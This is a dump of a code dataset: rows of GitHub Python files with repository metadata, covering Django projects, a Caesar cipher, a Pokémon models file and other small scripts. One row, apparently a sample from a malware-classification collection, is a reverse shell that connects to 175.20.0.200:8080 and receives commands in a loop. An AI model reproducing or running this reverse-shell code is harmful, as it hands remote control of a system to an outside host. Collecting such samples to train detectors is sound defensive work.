blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 281 | content_id stringlengths 40 40 | detected_licenses listlengths 0 57 | license_type stringclasses 2
values | repo_name stringlengths 6 116 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 313
values | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 18.2k 668M ⌀ | star_events_count int64 0 102k | fork_events_count int64 0 38.2k | gha_license_id stringclasses 17
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 107
values | src_encoding stringclasses 20
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 4 6.02M | extension stringclasses 78
values | content stringlengths 2 6.02M | authors listlengths 1 1 | author stringlengths 0 175 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e4c5a6cc52ad132b5b5a8bc5e39f57dd388a622d | 3304fb14bb259923571f3e4da6177c1070da85aa | /apps/solution/migrations/0002_auto_20200827_1507.py | 998f8f55322ffaaaa7ae0bd8846eda6480f12e88 | [] | no_license | Jhon-Smith-lb/neauoj | 374dd4c51236d4cce6aa0a1fef475e2ef79a953b | 003835178e328e4be916a1871b0b5db483baa4ca | refs/heads/master | 2022-12-11T09:58:21.422011 | 2020-09-02T07:04:31 | 2020-09-02T07:04:31 | 292,204,922 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,054 | py | # Generated by Django 3.1 on 2020-08-27 07:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('solution', '0001_initial'),
]
operations = [
migrations.CreateModel(
name='SourceCode',
fields=[
('sol... | [
"sj6949961@gmail.com"
] | sj6949961@gmail.com |
27d22d4db1fe3d02c878430e5297140a694802be | 16f0dbd0d14caa87116cc00950a8a7b4136db118 | /mysite/mysite/settings.py | d8dbc1add0d20a87fcda64ec80a43febac77e9ce | [] | no_license | maxibloba/my-first-blog | 124726d0c603dff94d8b461669bec8bd0a617a2a | 776727c9a58971d07621935899d3c24b47b4d6a6 | refs/heads/master | 2021-04-30T09:17:55.069751 | 2018-02-14T22:21:38 | 2018-02-14T22:21:38 | 121,305,032 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,203 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.11.10.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.11/ref/settings/
"""
import os... | [
"maxdruyvesteyn@hotmail.com"
] | maxdruyvesteyn@hotmail.com |
e7a8f0e1f4fb19d5098abae2fc24665b412d30d7 | 6226d37abe497a302c5e2164b8d3f97c9af1cfbd | /test_code.py | 3965bd37dda2685d955eb5df5b4aec8c4c21ebd7 | [] | no_license | helling34/python_test | af848ba953321e5de19912cc939bc30b87bb5188 | e5eeedacee2029f19ce29d847650a1156ea23820 | refs/heads/master | 2020-06-10T19:05:46.739202 | 2019-06-25T13:46:23 | 2019-06-25T13:46:23 | 193,715,232 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,466 | py | # print("hello python")
# def add_1(func):
# def add1():
# return "1+ " + func()
# return add1
#
# @add_1
# def hello():
# return "hello"
#
# print(hello())
# aList = (line for line in open('a.txt'))
# aList = (i.split() for i in aList if i.split())
# aList = (map(int, i) for i in aList... | [
"liuchao_business@163.com"
] | liuchao_business@163.com |
ed769db41a9e57cca5e461f61cb1b3d06a5dca61 | f302a3c34fa137546d1370713e8628db7d1e25b6 | /testFeatureUtils.py | 4643b1cb480bb8a478cc5bd959cae820b600eb31 | [] | no_license | whitepaper/easyML | ed3beb796cc13a0f63e8bccd5f621341d49b127b | cc47d5f083efbe451fb4f97589bf035cf4a4750a | refs/heads/master | 2021-01-01T06:27:00.213110 | 2014-09-03T16:07:30 | 2014-09-03T16:07:30 | 23,627,315 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,934 | py | from featureUtils import FeatureUtils
import simplejson as json
import csv
import sys
def main():
utils = FeatureUtils()
feature = ["hello world", "hello kitty"]
feature = utils._text2Feature(feature)
print feature
feature = [1, 2, 1]
feature = utils._category2Feature(feature)
print featu... | [
"wei.feng@hulu.com"
] | wei.feng@hulu.com |
966fb5f7579132fe8c06244579f3af82a3552e61 | 0e8de589a74ef773e6707a69a2ea6c061fdf1d86 | /dict-test.py | a724dc6f3e2b7f2180ed95db2eddb94a12f296fd | [] | no_license | sethmusich/test-dict-lookup.py | 055ad4c6dca073a63ab68f4a0dade2d04db3c1fe | 0067c9e724553577d4493a43bed57bff0b69491c | refs/heads/master | 2020-12-03T06:35:29.483603 | 2017-06-28T19:18:08 | 2017-06-28T19:18:08 | 95,703,197 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 937 | py | epic_programmer_dict = {
'lim berners-lee' : ['tbl@gmail.com', 111],
'guido van rossum' : ['gvr@gmail.com', 222],
'linus torvalds' : ['lt@gmail.com', 333],
'larry page' : ['lp@gmail.com', 444],
'sergey brin' : ['sb@gmail.com', 555]
}
def searchPeople(personsName):
try:
personsInfo = ep... | [
"sethmusich@gmail.com"
] | sethmusich@gmail.com |
e61872cbaec390d72d4e9f3b4b51807bf49f0f55 | c8f0f26b841bfaf0989640d6a72a49d7ea9735bf | /crawler/xici/xici/spiders/yamaxun.py | 769b05adf6a2ab1c1906176154b17c7e750aa19b | [] | no_license | PubFork/Myrepo | a33917348182a8d102c5efd08de3d0e0f8a4a244 | b2ec55d07736a4bc05be893cdecfef4e01b3cf9d | refs/heads/master | 2020-04-09T10:54:14.520159 | 2018-11-27T02:51:16 | 2018-11-27T02:51:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,148 | py | # -*- coding: utf-8 -*-
import scrapy
from xici.items import XiciItem
from scrapy.http import Request
import re
class XicispiderSpider(scrapy.Spider):
name = 'yama'
header = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36'
... | [
"yuhelg@163.com"
] | yuhelg@163.com |
ed923d044d09f983e9f125aa451fb7850efab2f9 | ece71b969716342cec4336b640b5d05a9354d947 | /variation/classifiers/coding_dna_deletion_classifier.py | 5aebec298f697fc28d3aea42be88afc4b7212551 | [
"MIT"
] | permissive | richardhj/vicc-variation-normalization | a13dfef07beb82f16d58f4f6e2ab8afb777a6e1d | d41e9ee786b14f47d17ea8e458eed08ec00ba339 | refs/heads/master | 2023-07-24T23:36:58.776641 | 2021-08-19T15:30:04 | 2021-08-19T15:30:04 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,009 | py | """A module for the Coding DNA Deletion Classifier."""
from typing import List
from .set_based_classifier import SetBasedClassifier
from variation.schemas.classification_response_schema import ClassificationType
class CodingDNADeletionClassifier(SetBasedClassifier):
"""The Coding DNA Deletion Classifier class."""... | [
"korikuzma@gmail.com"
] | korikuzma@gmail.com |
88f94d0f95c4f6a65477e3898af5648dd042e3f1 | a1e462b4ab7c584f1b23e63654b956065f02c72c | /env/bin/isort | 64a066d4190bb90fc85921c798a7c3c999c4272b | [] | no_license | ramaneswaran/todoList | 38ea7ee4ded6422a461f486a786a749fa160e73b | 27f49c718bae36946263e3e9d87682eb8e2aa8e9 | refs/heads/master | 2020-07-29T10:53:31.166840 | 2019-09-21T06:21:00 | 2019-09-21T06:21:00 | 209,768,851 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 241 | #!/home/raman/WebDev/flaskApp/env/bin/python3.6
# -*- coding: utf-8 -*-
import re
import sys
from isort.main import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"ramannewdelhi44@gmail.com"
] | ramannewdelhi44@gmail.com | |
42633cf6f998662fede9d253363f9d86a1caf79b | bb7179a22089c4c8adde17fed3c2d0b49339e3c6 | /.c9/metadata/environment/chap6_flask-SQLAlchemy/app.py | 11ec43cf527c945a8fcf9acf98b4217732240c0c | [] | no_license | cjolain/python_api_flask | 76e836e22220db32cc0b614390e4527161b2d882 | e60f2e2bacf6f6744185a89fd107fc418f6be4bf | refs/heads/master | 2020-04-09T10:07:34.122330 | 2018-12-15T16:20:26 | 2018-12-15T16:20:26 | 160,259,136 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 33,344 | py | {"filter":false,"title":"app.py","tooltip":"/chap6_flask-SQLAlchemy/app.py","undoManager":{"mark":93,"position":93,"stack":[[{"start":{"row":4,"column":5},"end":{"row":4,"column":6},"action":"insert","lines":["r"],"id":2},{"start":{"row":4,"column":6},"end":{"row":4,"column":7},"action":"insert","lines":["e"]},{"start"... | [
"ubuntu@ip-172-31-9-117.eu-west-1.compute.internal"
] | ubuntu@ip-172-31-9-117.eu-west-1.compute.internal |
0dcfff532748f1068d9909f868de2c72cb3e2f72 | 636e6383f86c5db70565596c471f53918c34f568 | /Backend/src/event/migrations/0004_auto_20191004_0354.py | 16e3086d936309592d98f12109071318888c875f | [] | no_license | Delix/Event | 8ae0a8695a744b8c68adf1ba5a46c072b4432ee2 | a86cb1f6523131ef06eefdd1277189552b52ef11 | refs/heads/master | 2023-01-05T12:44:30.478902 | 2019-11-01T22:30:37 | 2019-11-01T22:30:37 | 207,534,576 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 619 | py | # Generated by Django 2.2.5 on 2019-10-04 01:54
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('event', '0003_auto_20191004_0250'),
]
operations = [
migrations.RemoveField(
model_name='event'... | [
"s212317165@gmail.com"
] | s212317165@gmail.com |
5d8ebf6a2f375bd1c7c82b768a5185bcd628005f | b580fd482147e54b1ca4f58b647fab016efa3855 | /host_im/mount/malware-classification-master/samples/virus/sample_bad356.py | a7091ad0c1ea2d013487c02faa2df366dff3846f | [] | no_license | Barnsa/Dissertation | 1079c8d8d2c660253543452d4c32799b6081cfc5 | b7df70abb3f38dfd446795a0a40cf5426e27130e | refs/heads/master | 2022-05-28T12:35:28.406674 | 2020-05-05T08:37:16 | 2020-05-05T08:37:16 | 138,386,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 397 | py | import zlib
import tarfile
import socket
import crypt
import lzma
import subprocess
import gzip
import bz2
import hmac
import hashlib
import threading
import zipfile
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("175.20.0.200",8080))
while not False:
command = s.recv(1024).decode("utf-8")
if not comma... | [
"barnsa@uni.coventry.ac.uk"
] | barnsa@uni.coventry.ac.uk |
3d74e2d11af6181443388d4be8bacfede3b9fb87 | 8f87a93919e2d303d5c71baac108434524b3f639 | /python 3.7 wxpy测试/test_wxpy.py | 4dbe66b901ff6dfb0ad118f82db2fcc1b711088a | [] | no_license | Rattenking/dev-python-tool | 82ae7aecff98620430c919bcc059055167a20edb | e8e6aae26a82605ca27d7079e67ea8dde11ac7dd | refs/heads/master | 2023-05-27T02:30:20.494360 | 2021-06-16T02:38:56 | 2021-06-16T02:38:56 | 344,388,689 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 204 | py |
# 导入模块
from wxpy import *
# 初始化机器人,扫码登陆
bot = Bot()
# 搜索名称含有 "游否" 的男性深圳好友
my_friend = bot.friends().search('ZS742822536')[0]
print(my_friend) | [
"1148063373@qq.com"
] | 1148063373@qq.com |
9d7ac8f57c097e4ad0679015afe593a2f31fb4c2 | 3eebcbb783f5885d2c572d146646347fc06e4e99 | /test.py | 4b0321ad6e091081d7bb67bc14db7f2eae071b2c | [] | no_license | agentbobjelly9228/Hearing-Invention | b8f024a736f7a367e6867c35ab7666e8e811e88b | d8110d79c9f6f89ce85bf1cf1475c71103603a3d | refs/heads/master | 2023-04-16T00:06:41.015247 | 2021-04-06T01:02:08 | 2021-04-06T01:02:08 | 333,271,111 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,775 | py | from googletrans import Translator
import sys
from PyQt5.QtCore import pyqtSlot
from PyQt5.QtWidgets import QApplication, QDialog, QSizePolicy, QGridLayout, QPushButton, QMainWindow
from PyQt5.uic import loadUi
import speech_recognition as sr
import googletrans
import pickle
class inventionGui(QMainWindow):
lang... | [
"agentbobjelly@gmail.com"
] | agentbobjelly@gmail.com |
5e5bad23653210c2c543637685a1b2830b5fce4f | c738b44b94ae155c380ed7304ad481b3dbcd1e07 | /PythonFiles/decorators.py | 5d42cfe98a92a248dab7a53afebe75b781b5a57d | [] | no_license | SoumyaRaula/pythoholicsam | 9c70d4145f3ab4630e489078e5862def2a80f402 | 448ef2076b968924b1a6bce8833546309688edd4 | refs/heads/master | 2021-04-15T08:05:59.588759 | 2018-03-31T18:19:10 | 2018-03-31T18:19:10 | 126,345,668 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 766 | py | """
__author__: sranjanr
__desc__: decorators
"""
"""
1. Annotation.
def function(function_arg): #base() as an argument
perform operation on base()
return enhanced_base() #adds functionality to the base and returns it
@function()
def base():
pass
2. Explicit declaration.
new_func = function(base)
"""
... | [
"sranjanr@cisco.com"
] | sranjanr@cisco.com |
0f5eb302d036004050330a8dc65fac7345d9151e | 1d85c82c12e689056cc06e5a0793696aa62e7ba7 | /docs/conf.py | 8a403c6bbf0a5f1ffde6c5c44e674b7562b19b6d | [] | no_license | ylin00/EPRAnalysis | da1f1c57fd1f96757d46c434ef656e81fac88ba0 | 8e60a7717fd70ac27d011417e3592abbb3be302f | refs/heads/master | 2022-11-11T13:33:41.529829 | 2020-06-19T16:29:51 | 2020-06-19T16:29:51 | 59,967,306 | 0 | 0 | null | 2020-04-14T17:54:38 | 2016-05-29T22:55:09 | MATLAB | UTF-8 | Python | false | false | 2,236 | py | # Configuration file for the Sphinx documentation builder.
#
# This file only contains a selection of the most common options. For a full
# list see the documentation:
# https://www.sphinx-doc.org/en/master/usage/configuration.html
# -- Path setup --------------------------------------------------------------
# If ex... | [
"yanxian@umail.ucsb.edu"
] | yanxian@umail.ucsb.edu |
74b7e9f0e76db5cc22f02e7a25cb6f5363f8c823 | 2d8113d4fa1560eefb3b9419c9494dfcbf12c2b5 | /tests/simcse_test.py | 320ea5abb3791b150acdb3c3ec2ee0b4cf0a94dd | [
"Apache-2.0"
] | permissive | tiffen/DeepSE | 6bcdcd2d64b8f9cf7643086395b6a2468d13445a | a7c47c5146827d50bc46a8ec30da6ee651a0c6b8 | refs/heads/main | 2023-06-17T12:37:06.947099 | 2021-07-16T03:08:36 | 2021-07-16T03:08:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,921 | py | import os
import unittest
import tensorflow as tf
from deepse.simcse import SimCSE
from deepse.simcse_dataset import (HardNegativeSimCSEDataset,
SupervisedSimCSEDataset, UnsupSimCSEDataset)
from tokenizers import BertWordPieceTokenizer
PRETRAINED_MODEL_PATH = os.environ['PRETRAINED_... | [
"zhouyang.luo@gmail.com"
] | zhouyang.luo@gmail.com |
0f89a03abff103cd6ec4284a66ef3d2f078e7663 | 474462e7f658ebf59033c170ef753eb96653622f | /Python/django/single_model_orm/users_app/models.py | 4cd8499396a9f25cec0bcd688a9d250bec74d564 | [] | no_license | dathanwong/Dojo_Assignments | 33374e0c250293b39f92240ada3a5649892ce527 | 8347adf2d9606ae095be306c90c294303ef5574b | refs/heads/master | 2022-08-21T23:04:17.759342 | 2020-05-21T21:14:52 | 2020-05-21T21:14:52 | 259,776,556 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 450 | py | from django.db import models
# Create your models here.
class User(models.Model):
first_name = models.CharField(max_length=255)
last_name = models.CharField(max_length=255)
email_address = models.CharField(max_length=255)
age = models.IntegerField()
created_at = models.DateTimeField(auto_now_add=Tr... | [
"dathwo@outlook.com"
] | dathwo@outlook.com |
b7125874f5c0a8f88063391e5a922a19a3760af2 | 3853c858d97a8cf1a9f18fa422b1c428cad13521 | /Theta_control/Agent_Theta.py | b1f7a5be4030552d50a90b66e5ccf5c34bc06bc6 | [] | no_license | jinhyun9402/Reinforce_Learning | ff04a21aecbe07377c597eb3feda7ed382512deb | 12fee64b7fd67f6aeae8f3ee0dab57349daa3494 | refs/heads/master | 2022-12-03T11:02:35.714874 | 2020-08-18T19:11:41 | 2020-08-18T19:11:41 | 285,758,509 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,621 | py | import random
import numpy as np
from collections import deque
from keras.optimizers import Adam
from keras import models
from keras import layers
# 카트폴 예제에서의 DQN 에이전트
class DQNTheta:
def __init__(self, state_size, action_size, load_flag):
self.render = False
self.load_model = load_flag
if ... | [
"jinhyun9402@naver.com"
] | jinhyun9402@naver.com |
f76997e37377aea890eb58c45db12bdf5fcd98a1 | b9c9facccba58952b8fa9e6ecdd71212539f63fd | /main/migrations/0007_auto_20190302_1156.py | 04ff3bec9089c554d3f150c2af9418501e77c50f | [] | no_license | FBIpro/platina_ru | a0b5230c200bc3323d46dfc4870df37a580beddd | 28760a7d4c02712204a94b2d0aa51323db3cf2d5 | refs/heads/master | 2020-05-02T03:36:15.280903 | 2019-03-26T07:40:45 | 2019-03-26T07:40:45 | 177,732,440 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 844 | py | # Generated by Django 2.1.4 on 2019-03-02 05:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('main', '0006_auto_20190302_1058'),
]
operations = [
migrations.RemoveField(
model_name='news',
name='b... | [
"noreply@github.com"
] | noreply@github.com |
5307e1f342a8573a2fade1711c6cc9d9f334e720 | df08d8b2bb558f7c30a7da55309e41eb97280c5b | /03.DataAnalysisModule/bp1_seoul/seoul.py | da03f9341ee803795c5f0410e192d737b1afffd5 | [] | no_license | EGEG1212/Flask-web | df2dd1e745779982b54dcc391838e04d33a71d8b | df361b2560afa64e324dbe6651b99cf46db85303 | refs/heads/main | 2023-03-13T03:16:14.243534 | 2021-02-27T08:39:27 | 2021-02-27T08:39:27 | 331,157,710 | 0 | 1 | null | 2021-02-05T07:28:31 | 2021-01-20T01:27:58 | Jupyter Notebook | UTF-8 | Python | false | false | 10,349 | py | from flask import Blueprint, render_template, request, session
from flask import current_app
from datetime import timedelta
import os
import folium
import json
import numpy as np
import pandas as pd
import matplotlib as mpl
import matplotlib.pyplot as plt
from my_util.weather import get_weather
seoul_bp = Blueprint('... | [
"dana1anne@naver.com"
] | dana1anne@naver.com |
5ceed63eb782ede218c58f239abf0a6d2391e173 | 15ac158c7dede6bc6baed0199daff2dcbbeebeeb | /apps/adopcion/forms.py | a9e02626399c30c01d9db4606abbb6318fbd58fc | [] | no_license | ecreyes/Curso-Django | 4a6bb7dd7e2104989ec0c01ce6698e1d734c4b17 | 874be87057a0f08d0a31be6be0c6bf2f2bcc5e2d | refs/heads/master | 2020-03-12T18:57:11.895702 | 2018-05-23T03:12:58 | 2018-05-23T03:12:58 | 130,773,771 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,171 | py | from django import forms
from apps.adopcion.models import Persona,Solicitud
class PersonaForm(forms.ModelForm):
class Meta:
model = Persona
fields = [
'nombre',
'apellidos',
'edad',
'telefono',
'email',
'domicilio',
]
labels = {
'nombre':'Nombre',
'apellidos':'Apellidos',
'edad':'Ed... | [
"eduardo.reyeso.14@sansano.usm.cl"
] | eduardo.reyeso.14@sansano.usm.cl |
37b2cfa3b1377db9d4b5444701cb38d3915fb1ed | b43103229a5fc3c49285818881eea7c42b8021c2 | /python标准文档例题/真值测试.py | ef253daafb3daa0507df374ce37552f3428e6838 | [] | no_license | AlienWu2019/Alien-s-Code | 34eaf60ae7ada4810c3564cee1a25371c1c3f7ad | 983f68d13a81e6141779d26c84e371b2bf1d2e0d | refs/heads/master | 2020-05-07T18:42:03.723993 | 2019-05-05T14:32:49 | 2019-05-05T14:32:49 | 180,777,724 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 555 | py | import sys,math
def hash_fraction(m,n):
p=sys.hash_info.modulus
while m%p==n%p==0:
m,n=m//p,n//p
if n%p==0:
hash_value=sys.hash_info.inf
else:
hash_value=(abs(m)%p)*pow(n,p-2,p)%p
if m<0:
hash_value=-hash_value
if hash_value==-1:
hash_value=-2
return ... | [
"q582946945@gmail.com"
] | q582946945@gmail.com |
558cb8ceeae6ce5fe68263e2ab724f1a34f76e62 | 35ff96cf9b65d9badb86b31f0776721a9c1fb594 | /torchtracer/data/__init__.py | 15f2cdcdaf690817e4812f0d4809536571b14b9e | [
"MIT"
] | permissive | StevenJokess/torchtracer | 07555f0fd54cb398f7afb0fe30a6d3b65a4e04b0 | ca85c414b27e3edabaa2fea17ab9943fa668f952 | refs/heads/master | 2022-01-05T02:35:41.943206 | 2018-11-24T06:18:56 | 2018-11-24T06:18:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 84 | py | from torchtracer.data.config import Config
from torchtracer.data.model import Model
| [
"oidiotlin@gmail.com"
] | oidiotlin@gmail.com |
1285800c62612518ff3de3b4bd6c8e0c608033a7 | 43a78f0bcd94f617d2c55e5019f3f3475580165d | /Udemy/Section 14/RunIETests.py | c99fb8fe83ce12a1bd5e1f56a6d79f70c50d2881 | [] | no_license | ctramm/Python_Training | 2c35bd36b7cd1ea6598f915fafcf37ca048cf8ed | a0864a82bd6fb002c5f1a9aa7fb5d0b18341e6b0 | refs/heads/master | 2022-12-04T14:18:30.477562 | 2022-11-12T09:03:25 | 2022-11-12T09:03:25 | 171,736,957 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 255 | py | """
Section 14: Run Tests on IE
"""
from selenium import webdriver
class RunIETests:
def test_method(self):
driver = webdriver.Ie()
driver.get("http://www.letskodeit.com")
driver.close()
ie = RunIETests()
ie.test_method()
| [
"ctramm@wiley.com"
] | ctramm@wiley.com |
aa098bb12857a21a51b7da2617048b0f4de782d4 | 32fc50e88d8a3c1cb3c82d4929905b141b057d36 | /NAC-1/Missao_Marte.py | c1ff7b3b9e1a2a18b57e5f409e65e256c3c9c7db | [] | no_license | LiajuX/Python-Tests-2020 | 0bc93dbe33012f2f3dac76b56d4d7c2a1cb1e0f5 | 994de32011fbf1f5f0c9b10b7e6a9ed01d2dcb9c | refs/heads/main | 2023-01-24T04:13:39.990677 | 2020-11-28T16:41:03 | 2020-11-28T16:41:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 158 | py | contador = 0
XF = int(input("Informe um valor inteiro e positivo: "))
print("Série:")
for contador in range(contador,XF+1,3):
print(contador)
| [
"noreply@github.com"
] | noreply@github.com |
56b651f1e53a535c948b8d7ba66fd0d05f4a02d9 | 060877bd2d5ad6ebb4b303e5dfae47afe9afd4f2 | /mupit/combine_analyses.py | 16e16a2626b9fdec431a1124cf4672d82dabe14d | [
"MIT"
] | permissive | tianyunwang/mupit | f0cc92e1495144d2ea11ab60fbedbce70e6ba5e4 | bca917af1e23b4466f636c6ae29479833c52efae | refs/heads/master | 2020-03-26T04:27:13.342987 | 2018-08-02T23:18:42 | 2018-08-02T23:18:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,886 | py | """
Copyright (c) 2016 Genome Research Ltd.
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distr... | [
"jm33@sanger.ac.uk"
] | jm33@sanger.ac.uk |
ceec8895dd948248f90dc1ce9b661b06dda07910 | 3a891a79be468621aae43defd9a5516f9763f36e | /desktop/core/ext-py/gunicorn-19.9.0/tests/requests/valid/008.py | 379f9a2b8225da64fc0ce89d9df7284ea38de7a1 | [
"Apache-2.0",
"MIT",
"BSD-3-Clause",
"HPND",
"Python-2.0",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | oyorooms/hue | b53eb87f805063a90f957fd2e1733f21406269aa | 4082346ef8d5e6a8365b05752be41186840dc868 | refs/heads/master | 2020-04-15T20:31:56.931218 | 2019-01-09T19:02:21 | 2019-01-09T19:05:36 | 164,998,117 | 4 | 2 | Apache-2.0 | 2019-01-10T05:47:36 | 2019-01-10T05:47:36 | null | UTF-8 | Python | false | false | 178 | py | request = {
"method": "GET",
"uri": uri("/unusual_content_length"),
"version": (1, 0),
"headers": [
("CONTENT-LENGTH", "5")
],
"body": b"HELLO"
}
| [
"yingchen@cloudera.com"
] | yingchen@cloudera.com |
894b209cab8c7b9927d6ddd95fe0b0e53161b536 | 1745b353ca80b37d649197bb8fd8025429f01819 | /otree/export.py | 2674004d4cd14b66dae2d96ebca4ae0cf8e47af3 | [
"MIT"
] | permissive | MetaCell/otree-core | 9cd0041f1aa2023a4039e2f091faafa0208d7e58 | 638af2f8fc434700373366b2bb9018f2c2f41840 | refs/heads/master | 2021-01-12T14:06:31.253436 | 2016-09-26T10:43:02 | 2016-09-26T10:43:02 | 69,562,622 | 0 | 0 | null | 2018-04-24T10:07:08 | 2016-09-29T11:50:19 | Python | UTF-8 | Python | false | false | 19,090 | py | from __future__ import absolute_import
from otree.common import Currency
from django.db.models import BinaryField
import sys
import datetime
import inspect
import otree
import collections
import six
from django.utils.encoding import force_text
from collections import OrderedDict
from django.conf import settings
from d... | [
"chris@otree.org"
] | chris@otree.org |
8a77ef2c27924ecd4864a11dee7f8839a77a2c3d | d4d3eea0cdb57ba924d2ce57e944c7d0853309d1 | /pokesite/pokedex/models.py | f8abb4b7ef34d9fe760700477c9f66591385caad | [] | no_license | lindsaycarbonell/storemons | ec87f38ea36eb889e2c12c97cb8f9522b29a78b6 | d69dd3be825c98ca413c3a6b8f23b934d6d0dca7 | refs/heads/master | 2021-09-10T18:18:26.565200 | 2018-03-30T20:31:14 | 2018-03-30T20:31:14 | 81,026,700 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 29,540 | py | from __future__ import unicode_literals
from django.db import models
#####################
# ABSTRACT MODELS #
#####################
class HasAbility(models.Model):
ability = models.ForeignKey('Ability', blank=True, null=True, related_name="%(class)s")
class Meta:
abstract = True
class HasChar... | [
"lindsaycarbonell@gmail.com"
] | lindsaycarbonell@gmail.com |
6447b98d540fadac34add8b9ecd1d1e3459c12f7 | d583393a14c84b3e0dbf4a63a481beddb5f5a5fe | /scripts/start_chat.py | c566207e6c46216939fe1a2bedd1883a1b9dea91 | [] | no_license | daxingyou/qingguoqingchen-erlang- | 33917edb1d0b8a2311d81c485f271f3bbedc952a | 5daa9c16847033c872e1c544eeb2d902359e4d97 | refs/heads/master | 2021-12-04T10:01:47.321589 | 2015-03-09T08:34:05 | 2015-03-09T08:34:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 278 | py | #!/usr/bin/env python
import os
import sys
host = '127.0.0.1'
if len(sys.argv) > 1:
host = sys.argv[1]
cmdline = './start.py --dbcenter $host$ --linecenter $host$ --chat1 $host$ --gmcenter $host$'
cmdline = cmdline.replace('$host$',host)
print cmdline
os.system(cmdline)
| [
"yunfei_lei@126.com"
] | yunfei_lei@126.com |
bd595619a4e33bdb3a1af7781924eb088be4dea2 | c7d9e0f8b70ebb71dfc897ba7aa4579e081c3b28 | /ChromosomeAreas.py | 223a8fa809f624b7868c32ba2686ae1c8aa953e8 | [] | no_license | magierska/dna-methylation | 279789c9cbc8d8fb7a765f6076d0af20aa4b516e | d72592d2ab89abd85cef005eafcd74df877c7a0b | refs/heads/master | 2020-09-15T05:13:51.037159 | 2019-11-23T14:31:28 | 2019-11-23T14:31:28 | 223,354,799 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 565 | py | class ChromosomeAreas:
def __init__(self, islands=None, shores=None, shelves=None, seas=None):
self.areas = {
'islands': ChromosomeAreas.init_array(islands),
'shores': ChromosomeAreas.init_array(shores),
'shelves': ChromosomeAreas.init_array(shelves),
'seas': ... | [
"zuzia.magierska@gmail.com"
] | zuzia.magierska@gmail.com |
80236df6fa0971d2aebeb2179959dd59da90bdd0 | 68843978f0cc536ed118ea03f9f5edd6389f8ae7 | /CaesarCipher/CaesarCipher.py | e8d3172c8551b4bdb775a5ea3e0670cf52d27d20 | [] | no_license | tienshaoku/Cryptographic_Algorithms | 7ebe84ed3f4dbe5cb0d4cd1fa050b9041f6d7b9a | b0f08210f438d32c01f8ba07022a642910dc2c4e | refs/heads/master | 2021-03-07T20:57:59.168437 | 2020-07-03T07:10:45 | 2020-07-03T07:10:45 | 246,296,645 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,226 | py | #!/usr/bin/python
Symbols = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 !?,.'
def main():
message = input("This is Caesar Cipher.\nEnter your message here: ")
mode = input("Enter encrypt or decrypt: ")
while mode != "encrypt" and mode != "decrypt":
print("False input, please en... | [
"tienshaoku@gmail.com"
] | tienshaoku@gmail.com |
6c4ec9153e89f294652842de78f82a005aab7c10 | 7bf3daaa8b8599bd3ed5fa845f29b459ab3b0c52 | /mysite/settings.py | 6adfc0e5726df9f58be39de420cf835ef3c8820f | [] | no_license | kundan3034/my-first-blog | da8343916e60fd49153e5ae90e5071ec7b610264 | 2858bd710c8dfce7b5251a0099b878b50120d9fc | refs/heads/master | 2021-01-12T17:47:33.973247 | 2017-08-13T01:00:21 | 2017-08-13T01:00:21 | 69,391,551 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,207 | py | """
Django settings for mysite project.
Generated by 'django-admin startproject' using Django 1.10.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
#... | [
"kundan3034@gmail.com"
